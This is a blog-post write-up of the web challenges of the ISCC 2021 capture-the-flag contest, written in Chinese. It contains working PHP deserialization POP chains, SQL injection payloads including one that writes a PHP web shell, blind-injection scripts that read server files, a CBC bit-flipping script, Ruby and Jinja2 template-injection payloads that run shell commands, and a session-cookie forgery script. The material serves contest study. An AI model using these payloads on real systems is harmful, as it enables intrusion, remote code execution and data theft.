ISCCweb题解

前言:

web的题大都做过类似的了,所以比较简单。。但是没想到难的题目都在杂项,开始后悔寒假没多学点杂项了。。。

web1——ISCC客服冲冲冲(一)

F12审查元素,将对面那个客服的voting给删掉,然后它的票就不会增加了,

web2——这是啥

jsfuck代码,直接F12运行一下就能拿到FLAG

web3——正则匹配

<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

源码如上,首先要字母和数字,然后有个位数限制,并且要数值需要大于9999999,采用科学技术法进行绕过
payload:

6e8*-*

web4——登录

反序列化字符串逃逸就不说了

web5——which is the true iscc

查看源码:
img

<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

忘记保存了,重新复述一下吧审计完以后,可以知道我们的目的是执行system指令——》需要更改session[name]的值——》需要upload里面变量覆盖

难点:
1.每个类的wakeup函数都重新定义了session[name],调用每个类的时候,肯定会使用到wakeup,如果当我们的session[name]刚被赋值完iscc…..就被赋值回去了,那就没用了,所以我们需要进行绕过
2.由于里面有protect变量,所以也需要绕过waf的过滤
解决方案:
1.wakeup的调用顺序是由内向外的,destruct的调用是由外向内的,所以我们以类似的嵌套方式(类似)来调用赋值,利用一个中间变量进行中转,这样及时最后用了wake_up函数也没事,因为我们已经执行完了
2.可以利用大写S来绕过对protected,private等属性的字符检测,也就是将序列化过程中小写s改为大写s,这样后面的内容我们就可以用十六进制进行表示了

POP链构造:

<?php
class ISCC_Upload{
public $x;
public function __construct()
{
$this->x=new ISCC_ResetCMD();
}

}
class ISCC_ResetCMD{
public $x;
protected $new_cmd='cat /flag';
function __construct(){
$this->x = new ISCC_Command;
}
}
class ISCC_Command{

}
$b=new ISCC_Upload();
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize($b));
echo urlencode ($a);
//这个pop链的构造其实有点类似于嵌套,主要是为了绕过wakeup函数
img img

https://github.com/ambionics/phpggc#advanced-enhancements

web——擂台题-easyweb

1'and%0dsubstr((select%0dgroup_concat),1,1)>'0'--%0d
union%0dselect%0d1,"<?php eval($_POST['cmd']);?>"%0dinto outfile%0d'/var/www/html/1.php'

MySQL 5.6 及以上版本存在innodb_index_statsinnodb_table_stats两张表,其中包含新建立的库和表

select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();

在MySQL 5.7.9中sys中新增了一些视图,可以从中获取表名

//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();

//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();

//通过表文件的存储路径获取表名
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

包含之前查询记录的表

SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();

包含之前查询记录的表

SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();

包含表文件路径的表

SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

使用union select

select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1

//无逗号,有join版本
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;

盲注

((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))

要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex或者binary
这里只能使用concat将字符型和binary拼接,使之大小写敏感,JSON也可以使用char byte代替

mysql 8.0.19新增语句table
https://dev.mysql.com/doc/refman/8.0/en/table.html

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以把table t简单理解成select * from t,和select的区别在于

  • table总是显示表的所有列
  • table不允许任何的行过滤;也就是说,TABLE不支持任何WHERE子句。
    可以用来盲注表名
admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#

同时代替select被过滤导致只能同表查询的问题

PS:新增的values语句也挺有意思,在某些情况似乎可以代替unionselect进行order by盲注

学习链接:https://www.cnblogs.com/20175211lyz/p/12358725.html

解题过程

一开始听说绝对路径var/www/html然后发现读取文件的权限很高,想说直接读读源码,发现不行,于是尝试尝试自己找找绝对路径:
包含根目录路径的文件:

/etc/apache2/sites-enabled/000-default.conf
import requests
url="http://39.96.91.106:5001/?id="
s=requests.session()
database=""
for i in range(1,10000):
low =0
high=264
mid=(low+high)//2
while(low<high):
#payload_1=f"1/**/and/**/ascii(substr(database(),{i},1))>{mid}"
#payload_2=f"1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),{i},1))>{mid}"
#payload_3=f"1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{i},1))>{mid}"
#payload_4= f"1/**/and/**/ascii(substr((select/**/value/**/from/**/flag),{i},1))>{mid}"
#payload_1=f"1'and%0dascii(substr((selselectect%0dgroup_concat(table_name)%0dfrom%0dmysql.innodb_table_stats%0dwhere%0ddatabase_name%0d=database()),{i},1))>{mid}--%0d"//iscc_flag
payload_3=f"1'and%0dascii(substr((selselectect%0dload_file('/etc/apache2/sites-enabled/000-default.conf')),{i},1))>{mid}--%0d"
payload_4 = f"1'and%0dascii(substr((selselectect%0dload_file('/var/www/const')),{i},1))>{mid}--%0d"

# print(s.get(url+payload_1).text)
# print(payload_1)
if "Your Login name" in s.get(url+payload_3).text:
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==0 or mid==264):
break
database +=chr(mid)
print(database)
print(database)

web——ISCC客服一号冲冲冲(二)

这题的考点在于CBC字节翻转攻击:
思路:他让我们登录,但是没有窗口,所以这里我们就自己post一个username和password,然后再burp回文里看到一个iv,一个cipher,想到以前做过的CBC字节翻转攻击,接下来就没啥区别了,唯一的不同的是password是客服题第一题的flag,需要替换一下,这里就贴一下脚本,具体的可以去之前的文章找找:

import base64
import urllib

cipher="iThCcXSm90cuwxnw1KtfJqk%2Bled1cE%2Ba3xQh7UfgNovfWzCFOGmuryqdECjX1RqcLNv7ybOCRfXJBbokBfS4oKc5MnoFTbBfn5zTFdthy3E%3D"
iv="dlp0Txccz%2Fba%2Fw0qSQGVjw%3D%3D"

cipher_de=base64.b64decode(urllib.unquote(cipher))
tran='a:2:{s:8:"username";s:5:"bdmin";s:d";s:15:"1SCC_2o2l_KeFuu"}8:"passwor'

#tran[16:32]=me";s:5:"bdmin";

cipher_new=cipher_de[0:9]+chr(ord(cipher_de[9])^ord('b')^ord('a'))+cipher_de[10:]
cipher_new=urllib.quote(base64.b64encode(cipher_new))
print(cipher_new)
cipher_new=base64.b64decode('GgadNOlPvXYl8SxK+NWkK21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30=')
print(cipher_new)
iv_raw=base64.b64decode(urllib.unquote(iv))
iv_new=''
for i in range(0,16):
#
iv_new+=chr(ord(tran[i])^ord(iv_raw[i])^ord(cipher_new[i]))
iv_new=urllib.quote(base64.b64encode(iv_new))
print(iv_new)

web——Explore Ruby

一开始没注意到有提示说demo是可以登陆的,就在尝试伪造cookie(太菜了),然后登录后,发现存在ssti注入
img
尝试了一下 发现是slim的ruby注入

#{7*7}

尝试读取继承,发现没有什么有用的内容,但是发现()等内容被过滤了,于是寻找替代品

[:to_json, :instance_variable_set, :instance_variable_defined?, :remove_instance_variable, :instance_of?, :kind_of?, :is_a?, :tap, :instance_variable_get, :public_methods, :instance_variables, :method, :public_method, :define_singleton_method, :singleton_method, :public_send, :extend, :to_enum, :enum_for, :pp, :gem, :<=>, :===, :=~, :!~, :eql?, :respond_to?, :freeze, :inspect, :object_id, :send, :to_s, :display, :nil?, :hash, :class, :singleton_class, :clone, :dup, :yield_self, :itself, :tainted?, :taint, :untrust, :untaint, :trust, :untrusted?, :methods, :frozen?, :singleton_methods, :protected_methods, :private_methods, :!, :equal?, :instance_eval, :==, :instance_exec, :!=, :__id__, :__send__]
[:to_json, :instance_variable_set, :instance_variable_defined?, :remove_instance_variable, :instance_of?, :kind_of?, :is_a?, :tap, :instance_variable_get, :public_methods, :instance_variables, :method, :public_method, :define_singleton_method, :singleton_method, :public_send, :extend, :to_enum, :enum_for, :pp, :gem, :<=>, :===, :=~, :!~, :eql?, :respond_to?, :freeze, :inspect, :object_id, :send, :to_s, :display, :nil?, :hash, :class, :singleton_class, :clone, :dup, :yield_self, :itself, :tainted?, :taint, :untrust, :untaint, :trust, :untrusted?, :methods, :frozen?, :singleton_methods, :protected_methods, :private_methods, :!, :equal?, :instance_eval, :==, :instance_exec, :!=, :__id__, :__send__]
object:47312658352300

以上均为类继承读到的无用信息,发现几篇文章:
https://blog.csdn.net/watkinsong/article/details/7968550
https://www.huaweicloud.com/articles/b5b475ca729307885cd91f03c46d4826.html

其中让人感兴趣的就是%x可以执行shell命令:
虽然中括号被过滤,但是
https://qastack.cn/programming/665576/what-are-those-pipe-symbols-for-in-ruby

可以利用管道符||进行绕过,构造payload:

#{%x|ls|}//执行了系统命令
#Gemfile
Gemfile.lock
database.db
public
vendor
views
webserver.rb
}

使用cat命令即可查看源码:

configure do
set :public_folder, 'public'
set :views, 'views'
set :bind, '0.0.0.0'
set :port, 9999
enable :sessions
set :server, %w[thin webrick]
set :environment, :production
#set :environment, :development
#disable :protection
set :session_secret, '01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85'
end

get '/home' do
authenticate!
@user = session[:username]
@flag = ENV['FLAG'] if session[:role] == 'admin'
slim :home
end

关键在这里,所以我们需要伪造admin cookie

require "net/http"
require "uri"
require 'pp'
require 'base64'
require 'digest/sha1'
require 'faraday'

# Remote host
def generate_hmac(data, secret)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end

# URL = "http://39.96.91.106:8230/login"

# # Create URL object
# url = URI.parse(URL)

# creds = "demo"
# c = ""
# # Authentication
# resp = Net::HTTP.start(url.host, url.port) do |http|
# http.post(url.request_uri, "username=#{creds}&password=#{creds}")
# end

Cookies = "BAh7CkkiDXVzZXJuYW1lBjoGRUZJIglkZW1vBjsAVEkiCXJvbGUGOwBGSSIJ%0AdXNlcgY7AFRJIg9zZXNzaW9uX2lkBjsAVEkiRTAyMjU1OTdiMjJhYWM4Zjc3%0AYjcxZGUwNzQ2MjBlM2JiN2E5NDA1ODlmOWJjOTg5NWNiMTU3YzBlYTgyZGI5%0AYzIGOwBGSSIJY3NyZgY7AEZJIjF4MDlxTHVlOXdOZjNFWGx3T2ZzWjVXYlZ1%0ANEU5dnhBdW04TTk0Q3JZM1EwPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhU%0AVFBfVVNFUl9BR0VOVAY7AFRJIi00ZTRhYWEyYmFhZmVjYmIxYjcwOTViZWQ2%0AZDZmZWYzMmM3ZWI4NzEwBjsARg%3D%3D%0A--957bdf7dc19049010fd0b19e4d8656c42314b2db"


# puts get the cookie
cookie, signature = Cookies.split("--",2)
cookie = URI.decode(cookie)

decoded = Base64.decode64(URI.decode(cookie))
params = Marshal.load(decoded)
params.merge!({ 'role' =>"admin"})

print(params)
bad_cookie = URI.encode(Base64.encode64(Marshal.dump(params)))
bad_hmac = generate_hmac(bad_cookie, "01344904559362f6f5754df256908476702c8bd5d972a32e2fae2a7cc6fa4a7efd25079fddb5a11a0f8be0f607bf048fd6ecfe065380c27b2aa26015c3308e85")
header = "rack.session=#{bad_cookie}--#{bad_hmac};"
print(header)

贴一下学长写的

在kali ruby环境下跑一下!
注意,需要去题目的第二个入口伪造cookie才行!!!!!!

接下来就可以拿到flag了

LOVE-SSTI:

一开始的脑洞很烦,暹罗猫那个表情包有个别名 叫小豆泥,所以注入点是?xiaodouni=

接下来就是常规的ssti注入了,主要是去__doc__里面取字符,由于要查找flag,所以需要一个号,但是没找到\,写了个脚本要找*号,但是网站似乎不让爆破==就很难受,

import requests
url="http://39.96.91.106:3010/?xiaodouni="
s=requests.session()
headers=requests.session().headers
payload="{%set%20a=dict(op=x,p=x)|join()%}{%set%20b=(()|select|string|list)|attr(a)(24)%}{%set%20c=(b,b,dict(doc=a)|join,b,b)|join%}{%set%20g=(x|attr(c)|list)|"
for i in range(0,10000):
payload_fi=payload+f"attr(a)({i})%"+"}{{g}}"
url_f=url+payload_fi
print(s.get(url=url_f,headers=headers).text)
if "*" in s.get(url=url_f,headers=headers).text:
print(i)
break

所以就去找了一下其他方法。payload如下

{%set a=dict(op=x,p=x)|join()%}{%set b=(()|select|string|list)|attr(a)(24)%}{%set c=(b,b,dict(doc=a)|join,b,b)|join%}
{%set g=(x|attr(c)|list)|attr(a)(320)%}{%set gl=(b,b,dict(globals=a)|join,b,b)|join%}{%set bu=(b,b,dict(builtins=a)|join,b,b)|join%}{% set cr=(lipsum|attr(gl)|attr("get")(bu))["ch""r"] %}{%set d=cr(42)%}{% set or=("find / -name ",d,"fla",d)|join%}
{% set or1 = "cat /usr/fla??is?here?txt"%}{{(lipsum|attr(gl)|attr("get")("o""s")|attr("po""pen")(or1))|attr("read")()}}

小结:

至此 web的所有题目都ak。学到了很多~

Author

vague huang

Posted on

2021-05-02

Updated on

2021-05-22

Licensed under

Comments